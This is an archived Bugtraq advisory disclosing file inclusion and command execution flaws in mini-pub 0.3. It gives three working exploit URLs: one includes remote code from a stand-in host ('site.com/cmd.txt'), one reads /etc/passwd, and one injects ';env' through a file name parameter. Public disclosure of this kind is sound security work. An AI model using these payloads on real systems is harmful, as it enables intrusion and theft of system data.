Home page logo
/

bugtraq logo Bugtraq mailing list archives

mini-pub 0.3 multiple vulnerabilities
From: "muuratsalo experimental hack lab" <muuratsalo () gmail com>
Date: Thu, 7 Feb 2008 14:43:31 +0100

mini-pub 0.3 multiple vulnerabilities

download   http://sourceforge.net/projects/mini-pub/

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits
1. remote file inclusion
http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt?

2. local file inclusion
http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd

3. command execution
http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv


  By Date           By Thread  

Current thread:
  • mini-pub 0.3 multiple vulnerabilities muuratsalo experimental hack lab (Feb 07)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault